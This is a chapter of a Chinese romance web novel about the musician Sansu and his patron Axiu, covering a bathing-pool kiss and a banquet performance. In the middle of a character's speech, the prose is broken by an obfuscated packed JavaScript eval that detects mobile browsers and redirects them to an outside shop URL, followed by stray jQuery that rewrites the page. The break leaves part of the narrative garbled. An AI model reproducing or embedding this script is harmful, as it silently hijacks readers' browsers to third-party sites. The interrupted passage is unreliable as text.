文趣网 > 其他小说 > 向无良师妹自荐枕席后 > 24. 凤求凰
    “你做什么?”

    她明知故问。

    “大人......不要去找玉侬。”

    三苏艰涩地开口,妒火中烧,仍旧维持着面容上的平和,庆幸她无法看见,又恨她看不见。

    “好,”她爽快地答应了,回身看他,“更衣吧,我还没洗好。”

    三苏抿唇,险些又说不出话来,被她带着往汤池边走。

    他被她牵引着手,解开了那松垮的腰带......

    衣物没立即滑落,三苏视线落在氤氲的汤池中,却觉腰间搭上一双手……

    他不敢回眸,却伸手抓住了那双作恶的手。

    “大人……”

    声音克制又低沉。

    她道:“你不愿?”

    闻言,三苏松了手。

    良久,她没再继续了,“你既不愿,我也不想勉强,出去吧。”

    三苏松了口气的同时又不免失落,他也有些痛恨自己,到底想要阿秀如何做?

    亲近他不愿,她去亲近旁人他也不愿。

    难道他真甘愿放她离开?

    她拢紧了衣物,准备往外走,却再次被三苏拽住了手。

    “做……唔……”

    她的声音被吞没,双颊被一人捧在掌心,他手烫得不行,往上托着,被他衔住了双唇。

    水色晕染她双睫,她微阖双眸,新奇的滋味蔓延到心头,她觉得胸腔热热的,无处安放的双手不知不觉绕过他外裳,抱住了他的腰。

    三苏觉得他可以死在这一刻了。

    雨望纠缠不清,他能感觉到女子很微小的主动,她不懂,每一步都生涩无比,却让他深陷情沼。

    这个吻没能持续多久,他松开唇,眼睫轻抬,不由自主地注视她有些怔忡的表情,他抿了抿唇,喉骨上下浮动,低低道了声:“抱歉。”

    她嗯了一声,尾音轻扬,似是困惑。

    温热的指腹擦了擦她唇畔的水意,他语气低卑,像是做错了事在潜心祷告。

    “奴...不该这么做的。”

    他说过天下乌鸦一般黑,他也拐弯抹角地表示过自己同闻伶阙其他男人一般,想要伺候她。

    但他不该这样。

    至少也该得到她的应允。

    他同那群人毫无区别,三苏对自己生出了鄙夷之心。

    “我原谅你了,”她道:“陪我沐浴吧。”

    三苏顿住了。

    知晓她并非寻常人,也不如尘世间大部分女子一般,她古怪,从不避讳男女大防,她从不羞涩,面对伶人们绞尽脑汁的讨好仍旧面不改色,其中包括他。

    三苏觉得她似一阵风,无法捕捉更捉摸不透,关于她的事他什么都不知道,他总觉得要是有一日她玩腻了就会毫不犹豫地离开,而他永远无法找到她。

    奇怪了,她是高高在上的主顾,三苏是任人取闹的伶人,他怎么会、怎么敢对主顾生出这么强的情感依托?

    莫不成真如阙主所言,他翅膀硬了,要飞走了吗?

    可三苏认为自己飞走之路遥遥无期。

    他唯一的大腿主顾,无意将他带走,也没有非他不可。

    三苏脱去了外裳,在阿秀的强烈要求下仍旧留了里衣里裤,走下了汤池.....

    他泡得惴惴不安,心中乱七八糟地想着。

    要是阿秀现在就要他,他该如何做?

    不能太欣喜,她未必喜欢,也不能婉拒,万一她真不勉强自己,去勉强他人呢?

    欲擒故纵对阿秀没用。

    他这般想着,脑子中的杂乱线条几乎快将整个人缠死,待他回神时,是一阵淅淅沥沥的水声......

    阿秀出了汤池,肩上披着长长的外裳。

    她说是陪她沐浴,当真是简单的沐浴...而已。

    三苏哑然一刻,对自己的鄙夷更深。

    他胡乱抹了把脸,垂着眼走了出去。

    “过来。”

    三苏退后,“大人...奴是男子。”

    他不得不再度提醒。

    她拍着身侧露出的床榻,示意三苏过去,“我不介意。”

    “可奴不想坏了大人名声。”

    “我不是净水被人喝过就会脏,也不是不染纤尘的瓷瓶,别人如何想,与我无关。”她问:“你怕吗?”

    “怕的。”

    她可以不在意,他却不得不在意,他能听到的难听一万倍的话,都是让他害怕的根源。

    他不想阿秀成为旁人的谈资。

    见她招招手,三苏犹豫片刻还是朝她走去,坐在了她床畔。

    “别怕,”她语气极轻,像是安抚,轻描淡写地说出骇人的话来,“谁敢议论你,我杀了他。”

    三苏浑身一颤,被她语气中的森然寒意吓到。

    因为她的语气太重,不似玩笑。

    “我说笑的。”

    她笑了,可三苏还是褪不下满身寒意,直到被她拽了下来,俯身险些亲到她。

    “大人!”

    三苏惊呼一声。

    “那你守着我睡。”

    三苏稳了稳心神,嗯了一声,说守着她,当真老老实实坐在她床畔,安静地注视着她。

    葳蕤火光漫过她睡颜,每一寸肌肤都似镀上柔光,面容竟比往日多了几分温柔,阿秀的表情很少,大部分时间都是淡漠,因此当她露出不一样的神情时,格外引人侧目。

    他脖颈垂得酸软,索性坐在了床阶上,长长的睫羽垂下,将头倚在臂弯上,凝神看她,漆瞳晦暗不明。

    后半夜,她再没做噩梦。

    阿秀是整个闻伶阙的最大主顾。

    阙主为了讨好她,特意安排了个独特的宴会。

    闻伶阙不比琴声多美,要比比谁的琴音最晦涩。

    在此之前阙主特意‘关照’了最受阿秀喜爱的三苏一番。

    “三苏,别怪我没提醒你,这次你可要好好表现自己,千万不要辜负这张脸,知道了吗?”

    他循循善诱。

    三苏恍若未闻,自顾自地揉着面团,貌似并不在意午后的宴会。

    他在做梨花糕,这是阿秀在闻伶阙吃得最多的一种糕点。

    阙主见此,不由扼腕叹息。

    蠢哉!

    明眼人都看得出这是专门将他送给阿秀的局,他不去好好收拾打点一下自己,还在这做吃的!

    恨铁不成钢了一会儿,又见他瓷首孤脊,腰围布褛,脸上的表情柔和,端的是一副贤惠模样,不由微微侧目,眼眸转了转。

    保不准阿秀大人更喜欢娇夫孩子热炕头呢?

    哎.....

    真别说。

    他压不住笑,俨然已经幻想出阿秀为三苏豪掷千金的情景了。

    太好了太好了,终于能将三苏送走了!

    “...阙主?”

    “啊....”阙主回过神来,三苏正用不解的眼神看向他,他拍了拍三苏的肩,颇有几分感慨:“三苏啊,金鳞岂非池中物,一遇风云变化龙,往后进了旁人家中,一定要

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762630|208851||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好好的,温柔小意些,女人都喜欢。”

    这模样很有些嫁女儿的欣喜与感慨。

    难得没念过几年书的人扯出这么一句,三苏听懂了里面的意思,没吭声。

    阙主乐呵呵走了。

    小小的梨花模具脱模,他指尖小心翼翼地捻起,生怕将形态弄坏,放进了蒸笼中。

    后厨外响起阵阵脚步声,是后厨端着餐盘回来的声音。

    “今日怎么回事?怎么多人不吃午饭了?”

    另一人回:“难不成是想留着肚子吃听风宴上的?”

    “哪能啊,”小厮端起一碗未动过的饭,了然道:“谁都想在听风宴上夺得那位大人的喜爱,自然是得辟谷,拿出自己最佳的状态,饿一顿简直太正常了。”

    他说罢又像是想起了什么,道:“玉公子连续两日都未进一粒米了,方才我去他屋中送水,啧啧.....”

    他咋舌道:“那真真成个病美人了。”

    “我觉着阿秀大人真吃这一套也不一定呢。”

    “谁知道呢。”

    几人又交头接耳说了好久,丝毫没注意到一帘之隔后的三苏。

    梨花糕蒸好了,他端着盘子掀开了布帘。

    几个小厮呆呆地目送着他走出去。

    今日的宴会只有一位主人,这位主人深不可测,听说是北域来的富商,一个年轻的姑娘,冷面貌美,富甲一方,只是这脾气古怪,口味刁钻,不爱雅乐爱糟粕,实在是难以揣测的一个人。

    金丝软榻上,女子半依着身子,支着一个小巧精致的软枕,漫不经心地听着上方传出的古琴音,不由蹙了蹙眉。

    台上焚香抚琴的人本就在默默观察,乍见她这细微的举动,心头一凉,便知没有机会了。

    果不其然,下一刻阙主开口:“下去吧,弹这么好做什么。”

    什么场合该弹什么,这都不懂么?

    那伶人咬着唇,不甘地看了一眼前面的女人。

    他都已经很努力在弹得难听了......

    闻伶阙本就是最好的乐坊,一群最好的伶人再怎么弹都难听不到哪里去,众人早就默认这碗饭是给三苏吃的,只是面上仍旧不甘心。

    很快便到了三苏。

    阿秀没有睁眼,支着脑袋似对来人不感兴趣。

    阙主站在阿秀身后,瞧见台上的三苏时眼前蓦地一亮,随后立即看向阿秀,她没睁眼,阙主却有些按捺不住心思了。

    “三苏今日换了件鲜亮的衣袍,还真是不一样了。”

    他故意这般说着,斜着眼睛去看阿秀,对方听罢,当真睁开了一双眸子......

    琵琶音没有嘈嘈切切之感,刺耳又尖锐,阙主不由被刺得捂了捂耳朵。

    半首未完,阙主看了眼女子的神情,觉得这事妥了。

    只是......

    “这弹的到底是什么......”

    三苏的琴技一如既往,毫无长进。

    在场之人没有一人听得懂他到底弹的是什么。

    今日未下雨,薄阳洒在他身上,将那身碧色水衫映照得如水纹波动,他端坐木凳上,怀中抱着一只琵琶,长发以一根玉簪挽在脑后,低垂着眉眼,骨白纤长的手拨弄着弦音......

    他似乎很热,脸上漾起一层薄红,没有看任何人,弹得异常认真。

    悄摸躲在台后的众人捂着耳朵,并非嫌恶而是妒忌。

    “我算是知道了,一个萝卜一个坑,还真不是人人都能做到三苏这样。”